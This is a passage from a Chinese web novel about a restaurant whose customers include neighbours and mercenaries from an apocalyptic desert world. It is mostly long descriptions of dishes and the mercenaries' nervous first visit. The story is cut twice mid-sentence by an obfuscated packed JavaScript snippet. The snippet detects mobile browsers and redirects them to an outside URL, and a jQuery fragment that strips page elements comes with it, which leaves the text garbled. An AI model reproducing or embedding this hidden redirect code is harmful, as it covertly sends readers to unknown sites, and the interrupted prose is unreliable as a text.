先喝一口汤，猪肚就是有本事让汤汁变的浓郁鲜美，又有其他食材相互配合。只一口，先传递到舌尖的是泡椒的酸辣味，程度把握得更好，爽口中带着点点的刺激，让味蕾瞬间活跃起来，又不至于让人觉得过于刺激。 莴笋增加的清香稍后而至，最后猪肚的醇厚味道，更是这道菜的精髓所在，是整个汤汁的灵魂，绵长厚重，回味无穷。 为了保证汤汁的浓鲜，南荼有两个小窍门。一是汤中会加一团肉末提鲜。 这是南元海在开饭馆的时候就总结出来的秘诀，自然也毫无保留的教授给了南荼。经过无数次的试验，南元海发现肉末调整成猪肉和牛肉各半以后，肉质的香气和鲜味的均衡最恰当。 适当运用这种肉末，可以拯救不少风味单调的菜品。肉沫还有扫汤的作用，能让汤水更清澈。 南荼在做这道莴笋炖猪肚时，又改良成使用炒香过的肉末，最后的成品滋味果然更佳。 为什么大家都觉得南来饭馆即便是做寻常家常菜，也比别人好吃的多？就是因为这里的厨子一直没停止过探索，从不满足于现状，固步自封。 猪肚汤的另一个秘诀，是在出锅前稍加一些藤椒油。藤椒油滋味刺激，为了大众的适口性，不要加太多，也不能加的太早，藤椒油长时间受热香气会挥发。汤底多了这么一点藤椒油，基调会变得悠长，也不会喧宾夺主。 喝汤的众人不需要知道这些，只觉得喝了这汤，嘴巴也美，胃里也暖，哪里都舒服。 再尝尝切成粗丝的猪肚，经过精心处理的猪肚没有一丝一毫的腥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14097896|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味，只保留了独特的爽滑和鲜美，在长时间的炖煮后，猪肚逐渐变得软嫩，还吸收了泡椒与莴笋的精华，每一口都充满了层次分明的口感，不断的将那份来自食材深处的醇厚传递给食客。 等一大碗莴笋炖猪肚见了底，众人都舒了一口气。在南来饭馆吃饭，精神还得紧张起来，时刻偷瞄着旁边人的动作，否则自己在一边吃得忘我，一看汤也被盛光了，猪肚也捞没了，连莴笋都没剩下一块，是要悔得直拍大腿的！ “看来不是我来照顾南荼的生意，是南荼可怜我上了岁数还吃不到什么好东西，才开这么个饭馆的！”一个满头白发的街坊说。 乔大爷说：“猪肚是最能做得出神入化的材料，不会做的厨子做出一锅腥臊发臭的混汤，会做的厨子能做出神仙滋味。当今的佛跳墙动辄用鱼翅鲍鱼，其实地道的只用老鸡、鹿蹄筋、猪肚、鱼肚和鸽子蛋就够了，千万别小看了猪肚。” 笼子里的鹦鹉叫道：“尝尝！” “你不能吃。”乔大爷头也不回道。 “放肆！放肆！”鹦鹉不满地哇哇大叫。 众人都大笑起来，看得出不只是肚子满足了，心情也变得额外的好。 最后是重头菜。 一锅鲜是大菜，三四个人一起吃也够了，这也是马大娘为何一眼看透孙银花在说谎，她舍得吃这么贵的菜就很奇怪了，一老一小两个人点这道菜不是浪费吗？孙银花是最不会浪费的人。 不过现在美食当前，孙银花带来的插曲早就被大家抛在了脑后。在袅袅升起的白汽中，这锅汇聚了江海精华的鲜美佳肴夺去了所有人的注意力。 锅里的食材太过丰盛，街坊们各自伸筷，收获也各有不同。 马大娘爱吃鱼，夹的是鳜鱼肉，被精心挑选的鳜鱼肉质细嫩，入口即化一般，吃了鱼肉还不够，最好是挑带皮的部位再来一块，鳜鱼被煎过，鱼皮微焦，不但不腥反而弹口酥脆，香死人了。 王爷爷夹到了对半斩开的螃蟹，这螃蟹选的好，膏黄脂白，丰满紧实，味道自然差不了。 乔大爷爱喝汤，一锅鲜的汤汁并不多，但每一滴都是鳜鱼和鳝鱼煎炸后炖出来的浓白鱼汤，又有其他食材的加入，滋味更浓郁。舀一勺浇在米饭上，什么都不配就能干吃一碗饭。 汤里竟然还有意外发现，几个螺蛳和蛤蜊调皮的搭上了顺风车，随着浓醇的汤汁一起落到了碗中。乔大爷当然也没放过，他嗦螺蛳很利落，滑嫩的一小个，在舌尖一闪而过，只留下难以忘怀的鲜味。蛤蜊肉则更给人一种清甜可口的感觉，咬破时还迸出一口汁水，鲜得人一激灵。 锅里的食材相互渗透、相互映衬，演绎出一场味觉的盛宴。 不多时，桌上的菜肴已经被吃的干干净净，半点不剩。 幸好一众人有意节制，不敢点的太多，否则点多少都吃这么干净，现在还不知道要撑成什么样，回去说不得还要挨儿女的数落。从前教孩子不许暴饮暴食，轮到自己就忘啦？ 15. 腊汁肉 最近几天，南来饭馆的销售额屡创新高。 各位街坊是看在南荼是南元海的孙女才来捧场的没错，但大家不是没有嘴巴，没有舌头，南来饭馆的饭菜好吃更不是假的，更别提还有从前的老交情了。 于是回家以后，要么把当天吃到的好滋味讲给亲人朋友听，要么平时遛弯的时候，对遇到的街坊邻居把南来饭馆好好夸赞了一番，当然了，自己也没少出现在食客队伍里。 生意越来越火热，可辛欢注意到，有时候南荼眉宇间会出现一抹忧色，虽然转瞬即逝，但也不是她的错觉，一般这种情况都会出现在望向后门的风铃后。 辛欢明白，这是因为后门迟迟没有动静的缘故。 南荼只是觉得，她不久前才和系统谈好了，又是免手续费又是涨晶核的回收价，结果这么多天都没有位面客人，也确实说不过去。 可有没有客人不是南荼说了算的。 她很快想到了不久之前来到饭馆的纪项明一行人。他们中那个叫解薇的年轻女人还问过南荼允不允许把南来饭馆的位置透露给其他人，南荼当然同意，她就指望着末世位面的人多多知道南来饭馆，否则光靠误入，一年到头也没几个人来。 离他们小队离开也过去一段时间了，到底是解薇忘记了这码事，还是没有人愿意相信沙漠深处有这么一个饭馆呢？ 辛欢仿佛知道她在想什么似的，突然一脸严肃地站出来：“南荼姐，你是觉得我们那边的客人太少了吗？我可以回天陵城去，告诉大家南来饭馆的好处，让佣兵们都往这边来。” 南荼当然是不同意了，佣兵都是成群结队才敢面对异兽，辛欢一个人怎么平安穿过安金沙漠回到天陵城？再说就算回去了，已经有一个解薇了，难道解薇说的话大家不信，辛欢说的大家就相信了？ 于是南荼不提困难，免得辛欢冲动做事，只说：“可是我这边是一天都离不开你。” 听了这话，辛欢不自觉地憨笑起来。 这……倒也没错，她平时在饭馆也要帮南荼姐不少忙呢，嘿嘿。 南荼见她没这个打算了，才拉着她坐下来慢慢捋顺南来饭馆的处境。 “在你看来，对整个安金沙漠，我们饭馆大概在什么位置？” 辛欢想了想：“离天陵城不算近，但也不属于安金沙漠深处，沙漠实在太大了。” 不远不近，其实也是一个优势。 离天陵城太远了当然没人来，太近了也未必是好事，毕竟南荼的菜品卖的不便宜，经历过长久灾难的人们手头都不宽裕，干嘛放着价格低廉又能饱腹的兽肉干不吃，跑到南来饭馆呢？ 辛欢知道南荼是在操心什么，于是绞尽脑汁，把自己觉得对饭馆有利的消息一股脑的倒出来。 “之前到饭馆吃饭的那几个佣兵，其实不是冲着三鲜馄饨来的，而是饮水不够，把南来饭馆当做可以补给的地方了。” 他们对南荼的身份有畏惧，迟迟不敢提要水这件事，是辛欢看破了他们的想法，对南荼讲了，这才把他们的水囊给装满了。 “安金沙漠虽然大，佣兵常走的路线却基本是固定的，其中有一条就距离我们饭馆不远，不然我也不会被队友抛下之后徒步走到了这边。”辛欢试探着说，“如果佣兵们消费一定数量的晶核，就能送他们一些在沙漠中最珍贵的饮水，这样大家都会愿意来的。” “而且也不会有那么因为资源紧张就抛弃队友的事出现了。”辛欢的声音渐渐低了下来。 “你提的建议很有用。”南荼拍了拍她的肩膀作为安抚。 系统竟然也在这时候说话了：【饭馆的锚点所在方圆五十米内，受空间波动影响，不会吸引异兽前来。】 这一点，倒也很排得上用场。南荼若有所思。 ———— 安金沙漠，有一行人正在向着南来饭馆的方向前进。 这一队佣兵看着普遍年纪不大，都是二十刚出头的年轻人，光是眼神看着就蓬勃有干劲，不是在安金沙漠摸爬滚打七八年的老佣兵可比的。 他们中最年长的就是包恒，虽然也只有二十六岁，但包恒生性谨慎，做事周密，倒也能压得住年轻人的莽撞，组队也有好几个月了，都没出什么大岔子。 这一次，他们是听说了一个绝对称得上不可思议的消息，来验证真假的。 安金沙漠里有个饭馆。 解薇告诉他们这句话时，出于尊重，大家都强忍着不露出奇怪的表情。可是这和“包恒家有座宇宙飞船”有什么差别，甚至比起这个，大家还是更愿意相信宇宙飞船这件事。 “去去去，你家才有宇宙飞船！”包恒瞪了这群促狭鬼一眼。 不过包恒自认为了解解薇，他们之前是实打实的在一个佣兵队里当过队友的，只是后来因为种种原因散开了。 包恒认为解薇不是会乱吹牛的人，也绝不会存着害人的心思，故意引人在沙漠里绕路，去找什么饭馆。 况且还有一整队的队友为她作证，证明他们就是因为在那里得到了饮水，才顺利返程。 要么是大家都中了幻觉，要么就是真的了。 两种可能都挺惊悚的。 所以包恒才打算亲自确认一下。让人出现幻觉的异兽的确有，基本都是佣兵被咬过以后中了神经性毒素所致，可让全队都陷入同一个幻觉的异兽却闻所未闻，如果真的出现了，绝对要让所有佣兵都打起精神来，小心提防。 至于真的有这么一家饭馆，什么样的人能做得到这种事？换句话说，饭馆的主人……真的是人吗？ 他一路也反复出现退缩的想法，不过他身边最不缺好奇心强和胆子大的队友了。这帮年轻人怂恿他：“我们先去薇姐说的地方找一找，可能根本就找不到这个饭馆呢。” “就算真的有这么一家奇怪的饭馆，我们就远远看一眼，难道它还能把我们吃了不成？” 嘴上说的好听，实际上，当视野中真的出现了建筑物时，一众人嗷嗷叫着就开车冲了过去，什么远远的看一眼，都是放屁！ 就知道这些人不靠谱。包恒叹了口气。 直到招牌上“南来饭馆”的字迹清晰可见，这些人才停下来，慢慢走近。 “看着和普通饭馆没有什么差别啊。” “没有窗户，看不到里面是什么样子。” “要进门吗？” 只有包恒围着他们团团转，苦口婆心的叮嘱道：“别忘了保持警戒，随时都可能有异兽出现。”“先别开门。”“不要乱摸墙壁，不能抠墙砖，更不要把墙砖渣放到嘴里！” 高又晴突然有了一个新发现，扬声把大家引来：“看，门边贴了一张纸，上面还有字。” 大家纷纷凑过来。 这纸上写着： 1、进入饭馆购买食物并付款者，即是本店的客人。 2、推不开门即代表非营业时间。 3、请务必通过进入的大门离开。 4、携带枪.支、弹药、长刀、匕首等等武器者，需将武器放置在店外或不透明背包中，并确定武器不会暴露/走火/引爆，方可进入店内。 5、身上有少量血迹者，请遮挡血迹后再进店。身上有大量血迹或仍持续流血者，请委托他人进店购买食物。 6、店中会有其他客人，请不要做鬼鬼祟祟状，也不要影响其他客人就餐。 7、违反规定者，后果自负。 这是什么意思？大家你看看我，我看看你，都不理解。天陵城的餐厅也没这种规矩。尤其是遮挡武器这一条，带都让带了，还要遮遮掩掩的干吗？ 不过他们确实准备鬼鬼祟祟地摸进去看看，这倒被写这张纸的人猜透了。 队伍中的梁玥神秘兮兮的开口了：“我知道了。” 面对众人充满求知欲的眼光，她故作了然地点了点头：“这是一种规则怪谈！” “嗐！”大家以为她要说什么重大发现呢。 高又晴道：“梁玥，你看小说走火入魔了吧。你再这样，下回我不跟你去旧货市场淘东西了。” 见大家都不相信她，梁玥激动地从包里抽出一卷泛黄的纸页，争辩道：“怎么不是呢？你们看书里讲，这种充满着不科学力量的场所，都有不能触碰的禁忌，一旦违反了规则，原来温馨的场景可能瞬间就变了个模样，满地残肢啦，血海滔天啦，美女变野兽啦，等等。” 说完她还肯定道，“就是这样的。” 说包恒家里有宇宙飞船的齐玉树煞有其事的点头：“幸好幸好……” “幸好什么？”梁玥追问。 “幸好这里贴的不是你这卷都泛黄了的规则怪谈，你这个吓人多了。” 梁玥急了：“你们是不是不信我说的。” 包恒安抚道：“谁说我们不信的，本来规矩放在这儿，就不是让人明知故犯的。不过我们不进去就好了。” 遇到这种神秘又陌生的地方，有规矩比没规矩好。当然了，不进去也比进去好。 其他人可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14097897|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同意就这么走了。饭馆就在眼前，不进去看看不就白来了，解薇他们都成功走出来了，他们差在哪里？ 一群人先七嘴八舌地说服了包恒，最后互相检查，确保自己没有违反任何一条规定，这才由胆子最大的高又晴打前锋，作为那个推开饭馆大门的人。 门开了，有风铃轻灵的响声传来，睁眼一看，里面没有满地残肢，也没有血海滔天，不过真的有美女。 “欢迎光临南来饭馆，要点些什么？” 面前是一位和他们年纪差不多的神秘女人，似乎就是这间饭馆的主人。她柔顺的长发盘起，长而翘的睫毛在眼睑上投下淡淡的阴影，脸上带着让人琢磨不透的微笑，整个人就像一抹握不住的流光。看着柔弱无害，但谁也不敢轻举妄动。 如果南荼知道他们在想什么，只会说脑补害人。 一个年纪小点的女孩挤了过来：“菜单在这！” “嗯？你唔！”齐玉树突然发出了怪声，惹得大家都紧张的向他看。 捂住嘴巴的齐玉树却又立刻摇头，放下手抱歉地冲大家笑了笑。 他们该干什么来着？哦，点菜点菜。 “先坐下来再说吧。”南荼说，一群人堵在门口也不像话。 一众人把这当做了命令，不敢违抗，僵硬地找了个桌子坐下来。 饭馆里还有一些客人，他们当然看到了。这些人不知道是从哪来的，随意地穿着拖鞋、睡衣、大裤衩子，总之都是不适合在沙漠里生存的。 对于这些人，包恒一众人心有灵犀，这当然是诱使他们违反规则的“假客人”了，他们才不会中这种陷阱，因此看也不多看一眼。 辛欢抱着菜单站在桌子一边，推了一下齐玉树的胳膊，带着点惊喜说：“没想到来的是你。” 刚才齐玉树之所以失态，就是因为他认出了辛欢，他俩是同一个孤儿院的。 “你怎么在这？”齐玉树小心翼翼道，“……你还是辛欢吗？” 辛欢无语道：“我是被招来打工的。” “你被抓来打工？”齐玉树惊慌起来。 辛欢眉头一挑：“你耳朵背成这样还能当佣兵？！”异兽走到身后了都听不见吧？ 包恒并没有因为齐玉树认识这里的服务生放松多少，他只想快点离开。 “点了餐我们就能走了吧？” 辛欢说：“你的意思是要打包吗？” 包恒被提醒了，连忙道：“没错！我们要打包。” 辛欢给他们推荐：“好些菜不方便打包的，你们在沙漠里连张桌子都没有，不如点这个腊汁肉吧，吃起来很方便，可以切碎了夹进饼子里，你们觉得怎么样？” 大气不敢出的几个人听到问句，瞬间七嘴八舌地急切答话。 “好好好，我最爱吃这个什么什么肉了！” “就它了，多少钱？” “对对对，吃这个最好。” 辛欢憋着笑说了价格。 付过钱以后，几人继续忐忑地坐在桌边，假装不那么刻意的四处张望，屁股虽然一动不动，眼珠子却在眼眶里跑完了八百米。 他们发现，饭馆里的假客人还蛮智能的，表情特别灵动，会点菜和付款，吃到兴头时还会露出很夸张的陶醉表情。 不过离开的时候，这些人都从前门走。 “那边还有一个门。是通向哪里的？”高又晴小声说。 梁玥咳嗽了一声：“别忘了规则三。” ——请务必通过进入的大门离开。 好险，差点就违反规则了。高又晴额头冒出冷汗，陷阱果真无处不在。 等待的时间总是特别漫长，好在只过了几分钟，辛欢就再次出现，把一摞打包盒放在众人面前。 齐玉树悄悄摸了一下盒子，温热的，空气中隐约传来幽幽的肉香。 包恒提起盒子，用眼神示意大家快跟他走。 齐玉树走在最后，他站起来时，辛欢悄悄扯了他一把。 ———— “呼——”高又晴长舒一口气，“也没什么嘛，我们也成功出来了。” “还买到了东西吃。”另一个年轻人热切地盯着包恒手里的打包盒，刚才有个打包盒没扣紧，那股香味一直往他的鼻子里钻，口水简直流个不停。 “不能吃。”包恒说。 “为什么！”所有人异口同声道。 “我是说现在不能吃，”包恒谨慎道，“先离开这边，如果肉还是肉的话再说。”